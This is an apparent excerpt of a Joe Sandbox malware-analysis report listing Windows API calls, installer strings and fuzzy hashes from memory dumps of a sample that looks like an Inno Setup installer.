                                                                                                                                                                                                                                      • SetForegroundWindow.USER32(?), ref: 00424271
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$ActiveEnabledForegroundLastPopupVisible
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2280970139-0
                                                                                                                                                                                                                                      • Opcode ID: f5eb756bdd9929eb0187d31ee3fb53ef02cbc66ad04bc69917a7cf098bede398
                                                                                                                                                                                                                                      • Instruction ID: 2c5ff33fc315f6eb6fab431e1453bcb0e66c5aaaa6596e28cc8dc28fd0b03a53
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f5eb756bdd9929eb0187d31ee3fb53ef02cbc66ad04bc69917a7cf098bede398
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C7E0EC61B02672D6AE31FA7B2881A9F518C9D45BE434641EBBC04FB38ADB2CDC1141BD
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GlobalHandle.KERNEL32 ref: 0040626F
                                                                                                                                                                                                                                      • GlobalUnlock.KERNEL32(00000000), ref: 00406276
                                                                                                                                                                                                                                      • GlobalReAlloc.KERNEL32(00000000,00000000), ref: 0040627B
                                                                                                                                                                                                                                      • GlobalLock.KERNEL32(00000000), ref: 00406281
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Global$AllocHandleLockUnlock
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2167344118-0
                                                                                                                                                                                                                                      • Opcode ID: cbc5b304f88c7a08b053d0b09bd11fc9f2d944e51c7d356257a26bde9ab667b0
                                                                                                                                                                                                                                      • Instruction ID: 5df08fd8dc2b017785a639aa93036e57be915985ffe03f20f856cac12e18577c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cbc5b304f88c7a08b053d0b09bd11fc9f2d944e51c7d356257a26bde9ab667b0
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0BB009C4810A01BEEC0473B24C0BE3F245CD88172C3904A6F3448BA183987C9C405A3A
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,?,?,?,00000001,00000000,00000000,0047B625,?,00000000,00000000,00000001,00000000,00479FD9,?,00000000), ref: 00479F9D
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Failed to parse "reg" constant, xrefs: 00479FA4
                                                                                                                                                                                                                                      • Cannot access a 64-bit key in a "reg" constant on this version of Windows, xrefs: 00479E11
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Close
                                                                                                                                                                                                                                      • String ID: Cannot access a 64-bit key in a "reg" constant on this version of Windows$Failed to parse "reg" constant
                                                                                                                                                                                                                                      • API String ID: 3535843008-1938159461
                                                                                                                                                                                                                                      • Opcode ID: 16d8054e143327fe44f194470e69b7b3affe626307b8d2e4c87d8a967639857b
                                                                                                                                                                                                                                      • Instruction ID: 47cfa27444033e2517bbb80e4c41b37ce2323e10df06c4a21d1f595548a21c80
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 16d8054e143327fe44f194470e69b7b3affe626307b8d2e4c87d8a967639857b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EB814F74E00108AFCB10EFA5D881ADEBBF9EF49314F50816AE814E7391D7389E45CB98
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetForegroundWindow.USER32(00000000,004831FA,?,00000000,0048323B,?,?,?,?,00000000,00000000,00000000,?,0046BC0D), ref: 004830A9
                                                                                                                                                                                                                                      • SetActiveWindow.USER32(?,00000000,004831FA,?,00000000,0048323B,?,?,?,?,00000000,00000000,00000000,?,0046BC0D), ref: 004830BB
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Will not restart Windows automatically., xrefs: 004831DA
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$ActiveForeground
                                                                                                                                                                                                                                      • String ID: Will not restart Windows automatically.
                                                                                                                                                                                                                                      • API String ID: 307657957-4169339592
                                                                                                                                                                                                                                      • Opcode ID: 5dc678ddc73231bd7f3deb4895ee9687ce670b7cd050f2935782a4b7fd108cc5
                                                                                                                                                                                                                                      • Instruction ID: 14d12ce259a9d91e5540598a1459cb212717435f7278461c6eeed3650d71e2e9
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5dc678ddc73231bd7f3deb4895ee9687ce670b7cd050f2935782a4b7fd108cc5
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E7415530304280AEE701FF64DDAAB6DBBA0AB56F05F104CB7E8404B3A2C67D1A01DB5D
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Failed to proceed to next wizard page; aborting., xrefs: 0046CB98
                                                                                                                                                                                                                                      • Failed to proceed to next wizard page; showing wizard., xrefs: 0046CBAC
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID: Failed to proceed to next wizard page; aborting.$Failed to proceed to next wizard page; showing wizard.
                                                                                                                                                                                                                                      • API String ID: 0-1974262853
                                                                                                                                                                                                                                      • Opcode ID: 5c21498a53a12cfa8e7fd6d0fca4a53d4e4662c611673a7e38899ae354c5c1cd
                                                                                                                                                                                                                                      • Instruction ID: f767aec7694c3a706269651ece3f491ea64dc64c3ef09eb99a1787ebd09846f2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5c21498a53a12cfa8e7fd6d0fca4a53d4e4662c611673a7e38899ae354c5c1cd
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A7317230604204DFD711EB99D5C6BA977E5AB05704F5500BBE048AB392D778BE40CB5E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,00478A9E,?,?,00000001,00000000,00000000,00478AB9), ref: 00478A87
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00478A12
                                                                                                                                                                                                                                      • %s\%s_is1, xrefs: 00478A30
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseOpen
                                                                                                                                                                                                                                      • String ID: %s\%s_is1$Software\Microsoft\Windows\CurrentVersion\Uninstall
                                                                                                                                                                                                                                      • API String ID: 47109696-1598650737
                                                                                                                                                                                                                                      • Opcode ID: cbbb33293de64dd8a9f9caa67a5b3cda024617d485473e40b666104571127f40
                                                                                                                                                                                                                                      • Instruction ID: dc80809357616fc60b3df9076f922e914a3229883baf2cade8178dd1eb90c67d
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cbbb33293de64dd8a9f9caa67a5b3cda024617d485473e40b666104571127f40
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C2218170B042446FDB01DFA9CC55ADEBBE8EB88304F90847BE508E7381DA789D01CB59
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,0000044B,00000000,?), ref: 004501FD
                                                                                                                                                                                                                                      • ShellExecuteA.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 0045022E
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ExecuteMessageSendShell
                                                                                                                                                                                                                                      • String ID: open
                                                                                                                                                                                                                                      • API String ID: 812272486-2758837156
                                                                                                                                                                                                                                      • Opcode ID: ea446b968c091deb5619fe0c64f284e9fafe3e6cb185d1fb8701354efc215884
                                                                                                                                                                                                                                      • Instruction ID: 7f57506e0c07b49dd0b520b237e7736b759e9f4ed638734fb0c833ac5abbff07
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ea446b968c091deb5619fe0c64f284e9fafe3e6cb185d1fb8701354efc215884
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A1216074E00204AFDB10DFA9C896B9EBBF8EB44705F1081BAB404E7292D678DE45CA59
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • ShellExecuteEx.SHELL32(0000003C), ref: 0045532C
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(0000003C,00000000,00455375,?,?,?), ref: 0045533D
                                                                                                                                                                                                                                        • Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: DirectoryErrorExecuteLastShellSystem
                                                                                                                                                                                                                                      • String ID: <
                                                                                                                                                                                                                                      • API String ID: 893404051-4251816714
                                                                                                                                                                                                                                      • Opcode ID: eda88bca0edbb1d4d60b2465a169ef4fc32f774dfe42a6a5e367270b0e7eae9d
                                                                                                                                                                                                                                      • Instruction ID: 92df0b2f1231c5c49ece4c570041ef31d6ed92e86db86b93cafb864a5026e18c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: eda88bca0edbb1d4d60b2465a169ef4fc32f774dfe42a6a5e367270b0e7eae9d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 172167B0600609ABDB10EF65C8926AE7BE8AF44355F54403AFC44E7291D7789E49CB98
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.KERNEL32(0049B420,00000000,)), ref: 004025C7
                                                                                                                                                                                                                                      • RtlLeaveCriticalSection.KERNEL32(0049B420,0040263D), ref: 00402630
                                                                                                                                                                                                                                        • Part of subcall function 004019CC: RtlInitializeCriticalSection.KERNEL32(0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
                                                                                                                                                                                                                                        • Part of subcall function 004019CC: RtlEnterCriticalSection.KERNEL32(0049B420,0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
                                                                                                                                                                                                                                        • Part of subcall function 004019CC: LocalAlloc.KERNEL32(00000000,00000FF8,0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
                                                                                                                                                                                                                                        • Part of subcall function 004019CC: RtlLeaveCriticalSection.KERNEL32(0049B420,00401A89,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CriticalSection$EnterLeave$AllocInitializeLocal
                                                                                                                                                                                                                                      • String ID: )
                                                                                                                                                                                                                                      • API String ID: 2227675388-1084416617
                                                                                                                                                                                                                                      • Opcode ID: e007287126da8fa7f668c9e0dd370e3762efe765c6f58c3167b97aa7cf6c64ab
                                                                                                                                                                                                                                      • Instruction ID: 77bd95ba853a3ee3b707a504883d316aad751082ca23ba06a0d8aa2ba3da16af
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e007287126da8fa7f668c9e0dd370e3762efe765c6f58c3167b97aa7cf6c64ab
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E11104317042046FEB15AB796F5962B6AD4D795758B24087FF404F33D2DABD8C02929C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097), ref: 004966D9
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window
                                                                                                                                                                                                                                      • String ID: /INITPROCWND=$%x $@
                                                                                                                                                                                                                                      • API String ID: 2353593579-4169826103
                                                                                                                                                                                                                                      • Opcode ID: b4f4c19a8bc55ff90c2e9b73843465f76c245e37ca3079c0cf601615490e7546
                                                                                                                                                                                                                                      • Instruction ID: 2823dcf8e8ddb1ccfa98fa5e384fb34ae0e14248cce506d77a4005fc3c11fa4c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b4f4c19a8bc55ff90c2e9b73843465f76c245e37ca3079c0cf601615490e7546
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4711A531A042089FDF01DFA4D851BAE7FE8EB48318F5144BBE504E7291DB7C9905C658
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 00403CA4: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
                                                                                                                                                                                                                                        • Part of subcall function 00403CA4: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9
                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(?), ref: 004474C6
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: String$AllocByteCharFreeMultiWide
                                                                                                                                                                                                                                      • String ID: NIL Interface Exception$Unknown Method
                                                                                                                                                                                                                                      • API String ID: 3952431833-1023667238
                                                                                                                                                                                                                                      • Opcode ID: 4f43f2048f3271615f10b1acac82c539bd88d3f79065c454e3b767f871ffd8a8
                                                                                                                                                                                                                                      • Instruction ID: eb0132878ffe7144b3db707554455947565e11d0cdd4dc78092451a8fec87e99
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4f43f2048f3271615f10b1acac82c539bd88d3f79065c454e3b767f871ffd8a8
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8011B9706082089FEB10DFA58C52A6EBBBCEB09704F91407AF504F7681D77C9D01CB69
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,00495FD8,?,00495FCC,00000000,00495FB3), ref: 00495F7E
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00496018,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,00495FD8,?,00495FCC,00000000), ref: 00495F95
                                                                                                                                                                                                                                        • Part of subcall function 00495E68: GetLastError.KERNEL32(00000000,00495F00,?,?,?,?), ref: 00495E8C
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseCreateErrorHandleLastProcess
                                                                                                                                                                                                                                      • String ID: D
                                                                                                                                                                                                                                      • API String ID: 3798668922-2746444292
                                                                                                                                                                                                                                      • Opcode ID: 2cac3968973140c3bf288dcd51b8fea51afb9ccec72b099e887b62547fa5ce6a
                                                                                                                                                                                                                                      • Instruction ID: f27f12c2402a3b04c6ef5f500e2c30b4f6e8a0b8f5398e8f95c33b3eb070371b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2cac3968973140c3bf288dcd51b8fea51afb9ccec72b099e887b62547fa5ce6a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FC015EB1644648AFDF05DBA2DD42E9EBBACDB08714F61003AF904E72C5D6789E048B68
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,Inno Setup: No Icons,00000000,00000000,00000000,00000000), ref: 0042DD78
                                                                                                                                                                                                                                      • RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,Inno Setup: No Icons,00000000,00000000,00000000), ref: 0042DDB8
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Value$EnumQuery
                                                                                                                                                                                                                                      • String ID: Inno Setup: No Icons
                                                                                                                                                                                                                                      • API String ID: 1576479698-2016326496
                                                                                                                                                                                                                                      • Opcode ID: 36a0b08f46d91d09f38f531e186592c2a543f82488f0210131226a48688c00be
                                                                                                                                                                                                                                      • Instruction ID: 8d080c6700cf8453afd411d185ff7d2dd707f59376968ad674d2e7d16536e1ed
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 36a0b08f46d91d09f38f531e186592c2a543f82488f0210131226a48688c00be
